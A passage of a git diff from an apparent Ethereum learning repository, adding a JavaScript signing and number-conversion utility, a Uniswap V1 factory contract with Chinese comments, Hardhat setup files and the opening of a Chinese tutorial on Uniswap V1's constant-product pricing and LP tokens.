+          } catch (errTry) {
+            callback(errTry, undefined);
+          }
+        } else {
+          callback(err, undefined);
+        }
+      });
+    }
+  };
+
+  utility.sign = function sign(web3, address, msgToSignIn, privateKeyIn, callback) {
+    let msgToSign = msgToSignIn;
+    if (msgToSign.substring(0, 2) !== '0x') msgToSign = `0x${msgToSign}`;
+    function prefixMessage(msgIn) {
+      let msg = msgIn;
+      msg = new Buffer(msg.slice(2), 'hex');
+      msg = Buffer.concat([
+        new Buffer(`\x19Ethereum Signed Message:\n${msg.length.toString()}`),
+        msg]);
+      msg = web3.sha3(`0x${msg.toString('hex')}`, { encoding: 'hex' });
+      msg = new Buffer(msg.slice(2), 'hex');
+      return `0x${msg.toString('hex')}`;
+    }
+    function testSig(msg, sig) {
+      const recoveredAddress =
+        `0x${ethUtil.pubToAddress(ethUtil.ecrecover(msg, sig.v, sig.r, sig.s)).toString('hex')}`;
+      return recoveredAddress === address;
+    }
+    if (privateKeyIn) {
+      let privateKey = privateKeyIn;
+      if (privateKey.substring(0, 2) === '0x') privateKey = privateKey.substring(2, privateKey.length);
+      msgToSign = prefixMessage(msgToSign);
+      try {
+        const sig = ethUtil.ecsign(
+          new Buffer(msgToSign.slice(2), 'hex'),
+          new Buffer(privateKey, 'hex'));
+        const r = `0x${sig.r.toString('hex')}`;
+        const s = `0x${sig.s.toString('hex')}`;
+        const v = sig.v;
+        const result = { r, s, v };
+        callback(undefined, result);
+      } catch (err) {
+        callback(err, undefined);
+      }
+    } else {
+      web3.version.getNode((error, node) => {
+        // these nodes still use old-style eth_sign
+        if (
+          node &&
+          (node.match('TestRPC') ||
+            node.match('MetaMask'))
+        ) {
+          msgToSign = prefixMessage(msgToSign);
+        }
+        web3.eth.sign(address, msgToSign, (err, sigResult) => {
+          if (err) {
+            callback('Failed to sign message', undefined);
+          } else {
+            const sigHash = sigResult;
+            const sig = ethUtil.fromRpcSig(sigHash);
+            let msg;
+            if (
+              node &&
+              (node.match('TestRPC') ||
+                node.match('MetaMask'))
+            ) {
+              msg = new Buffer(msgToSign.slice(2), 'hex');
+            } else {
+              msg = new Buffer(prefixMessage(msgToSign).slice(2), 'hex');
+            }
+            if (testSig(msg, sig, address)) {
+              const r = `0x${sig.r.toString('hex')}`;
+              const s = `0x${sig.s.toString('hex')}`;
+              const v = sig.v;
+              const result = { r, s, v };
+              callback(undefined, result);
+            } else {
+              callback('Failed to sign message', undefined);
+            }
+          }
+        });
+      });
+    }
+  };
+
+  utility.verify = function verify(web3, addressIn, // eslint-disable-line consistent-return
+    v, rIn, sIn, valueIn, callback) {
+    const address = addressIn.toLowerCase();
+    let r = rIn;
+    let s = sIn;
+    let value = valueIn;
+    if (r.substring(0, 2) === '0x') r = r.substring(2, r.length);
+    if (s.substring(0, 2) === '0x') s = s.substring(2, s.length);
+    if (value.substring(0, 2) === '0x') value = value.substring(2, value.length);
+    const pubKey = ethUtil.ecrecover(
+      new Buffer(value, 'hex'),
+      Number(v),
+      new Buffer(r, 'hex'),
+      new Buffer(s, 'hex'));
+    const result = address === `0x${ethUtil.pubToAddress(new Buffer(pubKey, 'hex')).toString('hex')}`;
+    if (callback) {
+      callback(undefined, result);
+    } else {
+      return result;
+    }
+  };
+
+  utility.createAccount = function createAccount() {
+    const dk = keythereum.create();
+    let privateKey = dk.privateKey;
+    let address = ethUtil.privateToAddress(privateKey);
+    address = ethUtil.toChecksumAddress(address.toString('hex'));
+    privateKey = privateKey.toString('hex');
+    return { address, privateKey };
+  };
+
+  utility.verifyPrivateKey = function verifyPrivateKey(addr, privateKeyIn) {
+    let privateKey = privateKeyIn;
+    if (privateKey && privateKey.substring(0, 2) !== '0x') {
+      privateKey = `0x${privateKey}`;
+    }
+    return (
+      addr === ethUtil.toChecksumAddress(`0x${ethUtil.privateToAddress(privateKey).toString('hex')}`)
+    );
+  };
+
+  utility.toChecksumAddress = function toChecksumAddress(addrIn) {
+    let addr = addrIn;
+    if (addr && addr.substring(0, 2) !== '0x') {
+      addr = `0x${addr}`;
+    }
+    return ethUtil.toChecksumAddress(addr);
+  };
+
+  utility.loadContract = function loadContract(web3, sourceCode, address, callback) {
+    utility.readFile(`${sourceCode}.interface`, (errAbi, resultAbi) => {
+      const abi = JSON.parse(resultAbi);
+      let contract = web3.eth.contract(abi);
+      contract = contract.at(address);
+      callback(undefined, contract);
+    });
+  };
+
+  utility.deployContract = function deployContract(web3, sourceFile,
+    contractName, constructorParams, address, callback) {
+    utility.readFile(`${sourceFile}.bytecode`, (errBytecode, resultBytecode) => {
+      utility.readFile(`${sourceFile}.interface`, (errAbi, resultAbi) => {
+        if (resultAbi && resultBytecode) {
+          const abi = JSON.parse(resultAbi);
+          const bytecode = JSON.parse(resultBytecode);
+          const contract = web3.eth.contract(abi);
+          utility.send(
+            web3,
+            contract,
+            undefined,
+            'constructor',
+            constructorParams.concat([
+              { from: address, data: bytecode, gas: 4700000, gasPrice: config.ethGasPrice },
+            ]),
+            address,
+            undefined,
+            0,
+            (errSend, result) => {
+              const txHash = result.txHash;
+              let contractAddr;
+              async.whilst(
+                () => contractAddr === undefined,
+                (callbackWhilst) => {
+                  setTimeout(() => {
+                    utility.txReceipt(web3, txHash, (err, receipt) => {
+                      if (receipt) {
+                        contractAddr = receipt.contractAddress;
+                      }
+                      callbackWhilst(null);
+                    });
+                  }, 1 * 1000);
+                },
+                () => {
+                  callback(undefined, address);
+                });
+            });
+        } else {
+          callback('Could not load bytecode and ABI', undefined);
+        }
+      });
+    });
+  };
+
+  utility.zeroPad = function zeroPad(num, places) {
+    const zero = (places - num.toString().length) + 1;
+    return Array(+(zero > 0 && zero)).join('0') + num;
+  };
+
+  utility.decToHex = function decToHex(dec, lengthIn) {
+    let length = lengthIn;
+    if (!length) length = 32;
+    if (dec < 0) {
+      // return convertBase((Math.pow(2, length) + decStr).toString(), 10, 16);
+      return (new BigNumber(2)).pow(length).add(new BigNumber(dec)).toString(16);
+    }
+    let result = null;
+    try {
+      result = utility.convertBase(dec.toString(), 10, 16);
+    } catch (err) {
+      result = null;
+    }
+    if (result) {
+      return result;
+    }
+    return (new BigNumber(dec)).toString(16);
+  };
+
+  utility.hexToDec = function hexToDec(hexStrIn, length) {
+    // length implies this is a two's complement number
+    let hexStr = hexStrIn;
+    if (hexStr.substring(0, 2) === '0x') hexStr = hexStr.substring(2);
+    hexStr = hexStr.toLowerCase();
+    if (!length) {
+      return utility.convertBase(hexStr, 16, 10);
+    }
+    const max = Math.pow(2, length); // eslint-disable-line no-restricted-properties
+    const answer = utility.convertBase(hexStr, 16, 10);
+    return answer > max / 2 ? max : answer;
+  };
+
+  utility.pack = function pack(dataIn, lengths) {
+    let packed = '';
+    const data = dataIn.map(x => x);
+    for (let i = 0; i < lengths.length; i += 1) {
+      if (typeof (data[i]) === 'string' && data[i].substring(0, 2) === '0x') {
+        if (data[i].substring(0, 2) === '0x') data[i] = data[i].substring(2);
+        packed += utility.zeroPad(data[i], lengths[i] / 4);
+      } else if (typeof (data[i]) !== 'number' && /[a-f]/.test(data[i])) {
+        if (data[i].substring(0, 2) === '0x') data[i] = data[i].substring(2);
+        packed += utility.zeroPad(data[i], lengths[i] / 4);
+      } else {
+        // packed += zeroPad(new BigNumber(data[i]).toString(16), lengths[i]/4);
+        packed += utility.zeroPad(utility.decToHex(data[i], lengths[i]), lengths[i] / 4);
+      }
+    }
+    return packed;
+  };
+
+  utility.unpack = function unpack(str, lengths) {
+    const data = [];
+    let length = 0;
+    for (let i = 0; i < lengths.length; i += 1) {
+      data[i] = parseInt(utility.hexToDec(str.substr(length, lengths[i] / 4), lengths[i]), 10);
+      length += lengths[i] / 4;
+    }
+    return data;
+  };
+
+  utility.convertBase = function convertBase(str, fromBase, toBase) {
+    const digits = utility.parseToDigitsArray(str, fromBase);
+    if (digits === null) return null;
+    let outArray = [];
+    let power = [1];
+    for (let i = 0; i < digits.length; i += 1) {
+      if (digits[i]) {
+        outArray = utility.add(outArray,
+          utility.multiplyByNumber(digits[i], power, toBase), toBase);
+      }
+      power = utility.multiplyByNumber(fromBase, power, toBase);
+    }
+    let out = '';
+    for (let i = outArray.length - 1; i >= 0; i -= 1) {
+      out += outArray[i].toString(toBase);
+    }
+    if (out === '') out = 0;
+    return out;
+  };
+
+  utility.parseToDigitsArray = function parseToDigitsArray(str, base) {
+    const digits = str.split('');
+    const ary = [];
+    for (let i = digits.length - 1; i >= 0; i -= 1) {
+      const n = parseInt(digits[i], base);
+      if (isNaN(n)) return null;
+      ary.push(n);
+    }
+    return ary;
+  };
+
+  utility.add = function add(x, y, base) {
+    const z = [];
+    const n = Math.max(x.length, y.length);
+    let carry = 0;
+    let i = 0;
+    while (i < n || carry) {
+      const xi = i < x.length ? x[i] : 0;
+      const yi = i < y.length ? y[i] : 0;
+      const zi = carry + xi + yi;
+      z.push(zi % base);
+      carry = Math.floor(zi / base);
+      i += 1;
+    }
+    return z;
+  };
+
+  utility.multiplyByNumber = function multiplyByNumber(numIn, x, base) {
+    let num = numIn;
+    if (num < 0) return null;
+    if (num === 0) return [];
+    let result = [];
+    let power = x;
+    while (true) { // eslint-disable-line no-constant-condition
+      if (num & 1) { // eslint-disable-line no-bitwise
+        result = utility.add(result, power, base);
+      }
+      num = num >> 1; // eslint-disable-line operator-assignment, no-bitwise
+      if (num === 0) break;
+      power = utility.add(power, power, base);
+    }
+    return result;
+  };
+
+  utility.getRandomInt = function getRandomInt(min, max) {
+    return Math.floor(Math.random() * (max - min)) + min;
+  };
+
+  /* eslint-disable */
+  if (!Object.prototype.find) {
+    Object.values = function (obj) {
+      return Object.keys(obj).map(key => obj[key]);
+    };
+  }
+
+  if (!Array.prototype.find) {
+    Array.prototype.find = function (predicate) {
+      if (this === null) {
+        throw new TypeError('Array.prototype.find called on null or undefined');
+      }
+      if (typeof predicate !== 'function') {
+        throw new TypeError('predicate must be a function');
+      }
+      const list = Object(this);
+      const length = list.length >>> 0;
+      const thisArg = arguments[1];
+      let value;
+
+      for (const i = 0; i < length; i++) {
+        value = list[i];
+        if (predicate.call(thisArg, value, i, list)) {
+          return value;
+        }
+      }
+      return undefined;
+    };
+  }
+
+  if (typeof Object.assign !== 'function') {
+    (function () {
+      Object.assign = function (target) {
+        if (target === undefined || target === null) {
+          throw new TypeError('Cannot convert undefined or null to object');
+        }
+
+        const output = Object(target);
+        for (const index = 1; index < arguments.length; index++) {
+          const source = arguments[index];
+          if (source !== undefined && source !== null) {
+            for (const nextKey in source) {
+              if (source.hasOwnProperty(nextKey)) {
+                output[nextKey] = source[nextKey];
+              }
+            }
+          }
+        }
+        return output;
+      };
+    }());
+  }
+
+  Array.prototype.getUnique = function () {
+    const u = {},
+      a = [];
+    for (const i = 0, l = this.length; i < l; ++i) {
+      if (u.hasOwnProperty(this[i])) {
+        continue;
+      }
+      a.push(this[i]);
+      u[this[i]] = 1;
+    }
+    return a;
+  };
+
+  Array.prototype.max = function () {
+    return Math.max.apply(null, this);
+  };
+
+  Array.prototype.min = function () {
+    return Math.min.apply(null, this);
+  };
+
+  Array.prototype.equals = function (b) {
+    if (this === b) return true;
+    if (this == null || b == null) return false;
+    if (this.length != b.length) return false;
+
+    // If you don't care about the order of the elements inside
+    // the array, you should sort both arrays here.
+
+    for (const i = 0; i < this.length; ++i) {
+      if (this[i] !== b[i]) return false;
+    }
+    return true;
+  };
+
+  Math.sign =
+    Math.sign ||
+    function (x) {
+      x = +x; // convert to a number
+      if (x === 0 || isNaN(x)) {
+        return x;
+      }
+      return x > 0 ? 1 : -1;
+    };
+
+  /* eslint-enable */
+  return utility;
+};
diff --git a/Example13-exhange/contracts/uniswap-v1/Exchange/ERC20Interface.sol b/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/ERC20Interface.sol
similarity index 100%
rename from Example13-exhange/contracts/uniswap-v1/Exchange/ERC20Interface.sol
rename to basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/ERC20Interface.sol
diff --git a/Example13-exhange/contracts/uniswap-v1/Exchange/SafeMath.sol b/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/SafeMath.sol
similarity index 100%
rename from Example13-exhange/contracts/uniswap-v1/Exchange/SafeMath.sol
rename to basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/SafeMath.sol
diff --git a/Example13-exhange/contracts/uniswap-v1/Exchange/UniswapExchange.sol b/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/UniswapExchange.sol
similarity index 100%
rename from Example13-exhange/contracts/uniswap-v1/Exchange/UniswapExchange.sol
rename to basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/UniswapExchange.sol
diff --git a/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/UniswapFactory.sol b/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/UniswapFactory.sol
new file mode 100644
index 000000000..875fa075a
--- /dev/null
+++ b/basic/13-decentralized-exchange/backup/uniswap-v1/Exchange/UniswapFactory.sol
@@ -0,0 +1,78 @@
+pragma solidity ^0.4.20;
+// 引入子合约
+import './UniswapExchange.sol';
+
+// 定义工厂合约接口
+contract FactoryInterface {
+    // uniswap中现有的代币地址数组
+    address[] public tokenList;
+    // 设置a代币地址和a代币流动性池子地址的映射
+    mapping(address => address) tokenToExchange;
+    // 设置a代币流动性池子地址和a代币地址的映射
+    mapping(address => address) exchangeToToken;
+
+    // 启动一个新的流动性池子(new一个新的子合约)
+    function launchExchange(address _token) public returns (address exchange);
+
+    // 返回当前可用的流动性池子数量
+    function getExchangeCount() public view returns (uint256 exchangeCount);
+
+    // 使用代币地址找出其对应的代币交易对地址
+    function tokenToExchangeLookup(address _token) public view returns (address exchange);
+
+    // 使用代币交易对地址找出其对应的代币地址
+    function exchangeToTokenLookup(address _exchange) public view returns (address token);
+
+    // 新的交易对合约生成事件
+    event ExchangeLaunch(address indexed exchange, address indexed token);
+}
+
+// UniswapFactory继承自FactoryInterface
+contract UniswapFactory is FactoryInterface {
+    // 新的交易对合约生成事件
+    event ExchangeLaunch(address indexed exchange, address indexed token);
+
+    // index of tokens with registered exchanges
+    // uniswap中现有的代币地址数组
+    address[] public tokenList;
+    // 设置a代币地址和a代币流动性池子地址的映射
+    mapping(address => address) tokenToExchange;
+    // 设置a代币流动性池子地址和a代币地址的映射
+    mapping(address => address) exchangeToToken;
+
+    // 启动一个新的流动性交易对,并返回该交易对的合约地址
+    function launchExchange(address _token) public returns (address exchange) {
+        //There can only be one exchange per token
+        // 每种代币只能有一个eth交易对合约
+        require(tokenToExchange[_token] == address(0));
+        // 代币不能是0地址,且代币地址不能等于当前合约地址
+        require(_token != address(0) && _token != address(this));
+        // 传入代币地址,生成一个新的合约
+        UniswapExchange newExchange = new UniswapExchange(_token);
+        // 在现有的代币数组中增加刚生成代币地址
+        tokenList.push(_token);
+        // 增加新代币地址和新合约地址的映射
+        tokenToExchange[_token] = newExchange;
+        // 增加新合约地址和新代币地址的映射
+        exchangeToToken[newExchange] = _token;
+        // 记录新交易对生成事件
+        ExchangeLaunch(newExchange, _token);
+        // 返回新合约地址
+        return newExchange;
+    }
+
+    // 获取现有交易对数量
+    function getExchangeCount() public view returns (uint256 exchangeCount) {
+        return tokenList.length;
+    }
+
+    // 根据代币地址返回在交易所中该代币交易对地址
+    function tokenToExchangeLookup(address _token) public view returns (address exchange) {
+        return tokenToExchange[_token];
+    }
+
+    // 根据代币交易对地址返回该代币地址
+    function exchangeToTokenLookup(address _exchange) public view returns (address token) {
+        return exchangeToToken[_exchange];
+    }
+}
diff --git a/Example13-exhange/contracts/uniswap-v1/Token/TestToken.sol b/basic/13-decentralized-exchange/backup/uniswap-v1/Token/TestToken.sol
similarity index 100%
rename from Example13-exhange/contracts/uniswap-v1/Token/TestToken.sol
rename to basic/13-decentralized-exchange/backup/uniswap-v1/Token/TestToken.sol
diff --git a/basic/13-decentralized-exchange/hardhat.config.js b/basic/13-decentralized-exchange/hardhat.config.js
new file mode 100644
index 000000000..8244a9b2e
--- /dev/null
+++ b/basic/13-decentralized-exchange/hardhat.config.js
@@ -0,0 +1,32 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.4.20"
+      },
+      {
+        version: "0.8.0",
+        settings: {}
+      },
+    ]
+  },
+};
+
diff --git a/basic/13-decentralized-exchange/package.json b/basic/13-decentralized-exchange/package.json
new file mode 100644
index 000000000..879cef988
--- /dev/null
+++ b/basic/13-decentralized-exchange/package.json
@@ -0,0 +1,12 @@
+{
+  "dependencies": {
+    "hardhat": "^2.4.1"
+  },
+  "devDependencies": {
+    "@nomicfoundation/hardhat-ethers": "^3.0.5",
+    "ethers": "^6.11.1",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "ethereum-waffle": "^3.3.0"
+  }
+}
diff --git a/Example11-react-express-hardhat/.gitignore b/basic/13-decentralized-exchange/uniswap-v1-like/.gitignore
similarity index 100%
rename from Example11-react-express-hardhat/.gitignore
rename to basic/13-decentralized-exchange/uniswap-v1-like/.gitignore
diff --git a/basic/13-decentralized-exchange/uniswap-v1-like/README.md b/basic/13-decentralized-exchange/uniswap-v1-like/README.md
new file mode 100644
index 000000000..91f09bb8d
--- /dev/null
+++ b/basic/13-decentralized-exchange/uniswap-v1-like/README.md
@@ -0,0 +1,502 @@
+# Programming DeFi: Uniswap
+
+> 由于源项目是用 Vyper 开发合约，这里会使用 solidity 0.8.0 仿写一个 uniswap-v1 (合约部分)。本文内容和相关代码来自于 Ivan Kuznetsov 的 《Programming DeFi: Uniswap》 系列教程，这里只节选了部分原文，权当一个学习笔记。原教程链接见最下方，强烈建议跟着原教程的步骤撸一遍，风味最佳。
+
+截至 2021 年 6 月，Uniswap 已推出三个版本（`V1`, `V2`, `V3`）。
+
+`V1` 只允许在 ETH 和代币之间进行交换。如果需要进行非 ETH 之间的交换，则需要通过 ETH 中转。
+我们将尝试了解 `V1` 的经济机制，找出、分解、学习和构建它们的核心机制。
+
+## Uniswap 是什么？
+
+简单来说，Uniswap 是一个去中心化交易所 (DEX decentralized exchange)，旨在成为中心化交易所的替代品。它在以太坊上完全自动化的运行，不需要管理员、经营者或者其他具有特殊权限的用户来参与运行。
+
+### Market makers
+
+做市商 (Market makers) 是向市场提供流动性（交易资产）的实体。流动性使交易成为可能：如果您想出售某物但没有人购买，则不会进行交易。一些交易对具有高流动性（例如 BTC-USDT），但有些交易对的流动性很低或根本没有（例如一些骗局或山寨币）。
+
+DEX(去中心化交易所)必须有足够（或大量）流动性才能运作并替代中心化交易所。通常需要 DEX 团队投入大量资金来提供足够的流动性(考虑到众多的代币种类，这是一笔庞大的投入)，并且这样会使得 DEX 团队成为唯一的做市商，拥有巨大的权力，有违 DEX 去中心化的初衷。
+
+更好的解决方案是允许任何人成为做市商。
+
+### AMM
+
+自动化做市商 AMM(Automated market maker) 是一个通用术语，包含不同的去中心化做市商算法，Uniswap 是其中最受欢迎的算法之一。
+
+### Constant product market maker (恒定乘积公式的做市商)
+
+```math
+x∗y=k
+```
+
+这是 UniswapV1 的核心公式，`x` 和 `y` 分别代表两个 token(在 V1 中其中一个必定是 eth)的资产数量，两者的乘积需要保持一个恒定的值，即 `k`。当你用 ETH 交易其他 token 时，你将 ETH 存入合约并获得一定数量的 token 作为交换。Uniswap 确保在每次交易后，资产数量的乘积保持不变。
+
+### 如何定价
+
+要确保 AMM 能够完全无人工干预的自动运行，本质是需要让它自己决定每次交易的输入和输出量，即它需要知道如何定价。
+
+#### 简单的设想，利用汇率构建价格
+
+```math
+Px = y / x,
+Py = x / y
+```
+
+`x` 和 `y` 代表两个代币的数量，`Px` 和 `Py` 代表价格。
+
+这是一个简单且符合直觉的设想，却存在着很大的问题。
+
+假设我们用 2000 个 token 和 1000 个 ETH 创建了一个流动性池，此时 1 个 token 等于 0.5 个 eth，1 个 ETH 等于 2 个 token。
+
+```math
+Ptoken = 1000 / 2000 = 0.5,
+Peth = 2000 / 1000 = 2
+```
+
+一切看起来是正确的，但是如果我们使用该池子做交易，将 2000 个 token 交换成 ETH 会发生什么？
+我们将获得 1000 个 eth，这可是池子里所有的 ETH 储备！
+
+**池子被抽干了！**
+
+我们再来看看定价公式，上述定价公式实际上组成了一个和为恒定值的函数。
+
+```math
+Msum  = Mx + My = Px * x + Py * y
+```
+
+`Msum` 代表两个代币的市值总和，`Mx` 和 `My` 代表两个代币的价值，价值等于 `价格 * 数量`。
+
+```math
+Msum  = (y / x) * x + (x / y) * y = y + x = x + y
+```
+
+我们把之前的价格公式带入其中，就会发现总市值实际上就是两者的数量之和 `x + y`。
+即 `x + y = k`, `k` 为常数，其函数图形如下：
+
+![x + y = k](./images/uniswap-v1-like-01.png)
+
+x 轴和 y 轴分别代表了两个代币在池内的数量，函数穿过 x 轴和 y 轴，根据图形可以很直观的看出这个公式允许 `x` 和 `y` 其中一个为 0！
+
+这也就解释了为何我们用 2000 个 token 交换成 eth，流动性会枯竭的原因。
+
+#### 正确的定价公式
+
+```math
+x∗y=k
+```
+
+每一笔交易都会改变两个代币的数量，无论数量如何变化，`k` 都应该保持不变。
+
+$$(x + \Delta x)(y - \Delta y) = xy$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=(x%2B\Delta x)(y-\Delta y)=xy" /> -->
+
+这里的意思是用 `Delta x` 数量的`token x` 交换出 `Delta y` 数量的 `token y`。所以计算 `Delta y` 的公式为：
+
+$$\Delta y = \frac{y \Delta x} {x + \Delta x}$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=\Delta y=\frac{y \Delta x}{x %2B \Delta x}" /> -->
+
+请注意，我们现在得到的 `Delta y` 是数量而不是价格。计算数量的方法对应 `Exchange.getAmount()`。
+
+![x * y = k](./images/uniswap-v1-like-02.png)
+
+由上图看出来，乘积恒定的函数是一个双曲线，不会与 x 轴或 y 轴相交，这使得流动性近乎无限。
+
+还有一个有趣的特征，双曲线价格函数会导致价格滑点。**购买量越大，价格滑点越高，得到的越少。**
+
+在测试文件 `./test/Exchange.test.js` 中可以看到滑点的变化：
+
+```js
+// getTokenAmount
+await exchange.getTokenAmount(toWei(1)); // 1.998001998001998001
+await exchange.getTokenAmount(toWei(100)); // 181.818181818181818181
+await exchange.getTokenAmount(toWei(1000)); // 1000.0
+
+// getEthAmount
+await exchange.getEthAmount(toWei(2)); // 0.999000999000999
+await exchange.getEthAmount(toWei(100)); // 47.619047619047619047
+await exchange.getEthAmount(toWei(2000)); // 500
+```
+
+如上所示，当我们试图掏空池子的时候，却只得到预期的一半。
+
+注意：我们最初基于汇率的定价函数没有错（恒定和公式的 AMM）。事实上，当我们交易的代币数量相对数量非常小时。但是要提供 AMM，我们需要更复杂的东西。
+
+## Exchange 合约实现
+![uniswap-exchange函数列表](./images/uniswap-exchange.png)
+
+V1 的 Exchange 合约包含了定价、交易、添加/移除流动性、分发 LP token 代币功能。
+
+### 增加流动性
+
+```solidity
+function addLiquidity(uint256 _tokenAmount)
+    public
+    payable
+{
+    if (getReserve() == 0) {
+        // 初始添加流动性，直接添加，不需要限制
+        IERC20 token = IERC20(tokenAddress);
+        token.transferFrom(msg.sender, address(this), _tokenAmount);
+    } else {
+        // 后续新增流动性则需要按照当前的数量比例，等比增加
+        // 保证价格添加流动性前后一致
+        uint256 ethReserve = address(this).balance - msg.value;
+        uint256 tokenReserve = getReserve();
+        uint256 tokenAmount = （msg.value * tokenReserve) / ethReserve;
+
+        require(_tokenAmount >= tokenAmount, "insufficient token amount");
+
+        IERC20 token = IERC20(tokenAddress);
+        token.transferFrom(msg.sender, address(this), tokenAmount);
+    }
+}
+```
+
+### 定价功能
+
+虽然是定价功能，但实际上我们传入输入数量，计算得到了输出数量。
+
+```solidity
+// This is a low-level function, so let it be private.
+function getAmount(
+    uint256 inputAmount,
+    uint256 inputReserve,
+    uint256 outputReserve
+) private pure returns (uint256) {
+    require(inputReserve > 0 && outputReserve > 0, "invalid reserves");
+
+    return (inputAmount * outputReserve) / (inputReserve + inputAmount);
+}
+
+// 传入eth数量得到能够换取的token数量
+function getTokenAmount(uint256 _ethSold) public view returns (uint256)
+
+// 传入token数量得到能够换取的eth数量
+function getEthAmount(uint256 _tokenSold) public view returns (uint256)
+```
+
+### 交易功能(swap)
+
+现在，我们已准备好实现交易功能
+
+```solidity
+// 使用eth购买token
+function ethToTokenSwap(uint256 _minTokens) public payable {
+    uint256 tokenReserve = getReserve();
+    uint256 tokensBought = getAmount(
+        msg.value,
+        address(this).balance - msg.value,
+        tokenReserve
+    );
+
+    require(tokensBought >= _minTokens, "insufficient output amount");
+
+    IERC20(tokenAddress).transfer(msg.sender, tokensBought);
+}
+```
+
+将 ETH 换成 token 意味着将一定数量的 ETH （存储在 `msg.value` 中）发送到可支付的合约函数并获得代币作为回报。请注意，我们需要将 `msg.value` 从合约的余额中减去，因为在调用该函数时，发送的 ETH 已经添加到其余额中。
+
+这里的另一个重要变量是 `_minTokens` —— 这是用户想要用 ETH 换出 token 的最小数量。此金额在 UI 中计算，使用用户设置的最大滑点来计算，即用户发送的交易其最小成交量是 `期望的成交量 * (1 - Slippage)` 。这是一个非常重要的机制，可以保护用户免受抢跑机器人(front-running bots)的攻击。
+
+> front-running bots 会在用户订单前面插入一个相同方向的订单，比如当用户想买时，在用户订单前面插入一个同样买入的订单，当 bots 的订单完成后，再执行用户订单，必然会导致用户承受更高的价格，而当用户订单完成后，池中价格已上涨，bot 通常会将之前的订单卖出，赚取其中的利差。而用户设置了最小成交量之后，当价格偏差太大，输出数量小于设定值，合约会直接将交易 revert，有效的避免 front-running bots 攻击
+
+```solidity
+// 使用token购买eth
+function tokenToEthSwap(uint256 _tokensSold, uint256 _minEth) public {
+    uint256 tokenReserve = getReserve();
+    uint256 ethBought = getAmount(
+        _tokensSold,
+        tokenReserve,
+        address(this).balance
+    );
+
+    require(ethBought >= _minEth, "insufficient output amount");
+
+    IERC20(tokenAddress).transferFrom(msg.sender, address(this), _tokensSold);
+    payable(msg.sender).transfer(ethBought);
+}
+```
+
+合约首先从用户那里转入 `_tokensSold` 数量的 token 进入合约，然后将 `ethBought` 数量的 ETH 转给用户，完成资产的交换。
+
+### LP token
+
+我们需要有一种方法来奖励流动性提供者的代币。如果他们没有得到激励，就不会有人提供流动性，没有人会白白把他们的 token 放在第三方合同中。此外，该奖励不应该由我们支付，否则我们必须获得投资或发行通胀类型的 token 来为其提供资金。
+
+唯一好的解决方案是对每次代币交易时收取少量费用，并在流动性提供者之间分配累积费用。这似乎也很公平：用户（交易者）使用他人提供的服务（流动性），理应付费。
+
+为了奖励的公平性，我们需要按比例奖励流动性提供者，他们的贡献，即他们提供的流动性数量。如果有人提供了 50% 的池流动性，他们应该得到 50% 的手续费。
+
+#### 定义
+
+`LP token` (Liquidity Provider token 流动性提供者的凭证) 是向流动性提供者发行的 ERC20 代币，是一种权益证明：
+
+1. 流动性提供者注入流动性，获得 `LP token`
+2. 获得的 `LP token` 数量与用户在流动性池中的流动性份额成正比
+3. 手续费根据持有的 `LP token` 数量按比例分配
+4. `LP token` 可以换回 流动性 + 累计分配的手续费
+
+#### 如何制定发行数量
+
+首先 LP 合约需要满足两个要求
+
+1. 由于流动性随时都可能变化，每一位用户所拥有的份额必须时刻保持正确性
+2. 减少非常昂贵的 storage 操作（SSTORE, SLOAD），因此，不能频繁重新计算和更新份额
+
+如果我们发行大量代币（比如 10 亿个）并将它们分配给所有流动性提供者。如果我们总是分发所有的代币（第一个流动性提供者得到 10 亿，第二个提供者又需要重新分配这 10 亿，第三个同样...），我们将被迫重新计算已发行的代币，这样操作是很昂贵的。如果我们最初只分配一部分代币，那么我们就有可能达到供应限制，这最终将迫使使用重新分配现有份额。
+
+唯一好的解决方案就是不设限制，在增加新的流动性时铸造新的代币。也就是说 `LP token` 是没有发行上限的。
+
+不过也不用担心通货膨胀，因为铸造 `LP token` 需要提供流动性（`LP token` 的数量就是衡量流动性的量化指标），而想要取回流动性，则必须销毁`LP token`。
+
+下面是通过注入的流动性数量计算铸造 `LP token` 数量的公式：
+
+```math
+amountMinted = totalAmount * (ethDeposited / ethReserve)
+```
+
+由于 V1 的交易对都含有 eth，这里只考虑 ETH 的价值和数量比例
+
+在修改 `addLiquidity()` 之前，需要让我们的 Exchange 合约成为 `ERC20` 合约并修改构造函数
+
+```solidity
+// 继承ERC20标准合约
+contract Exchange is ERC20
+{
+    constructor(address _token) ERC20("Uniswap-V1-like", "UNI-V1")  {
+        ...
+    }
+    ...
+}
+```
+
+现在改造 `addLiquidity()`
+
+```solidity
+function addLiquidity(uint256 _tokenAmount)
+    public
+    payable
+    returns (uint256)
+{
+    if (getReserve() == 0) {
+        ...
+
+        uint256 liquidity = address(this).balance;
+        _mint(msg.sender, liquidity);   //  ERC20._mint() 向流动性提供者发送 LP token
+
+        return liquidity;
+    } else {
+        // 后续新增流动性则需要按照当前的数量比例，等比增加
+        // 保证价格在添加流动性前后一致
+        uint256 ethReserve = address(this).balance - msg.value;
+        uint256 tokenReserve = getReserve();
+        // solidity不支持浮点运算，所以运算顺序非常重要，提倡先乘后除原则
+        // 如果 msg.value * (tokenReserve / ethReserve) 的写法会产生计算误差
+        uint256 tokenAmount = (msg.value * tokenReserve) / ethReserve;
+
+        // 保证流动性按照当前比例注入，如果token少于应有数量则不能执行
+        require(_tokenAmount >= tokenAmount, "insufficient token amount");
+
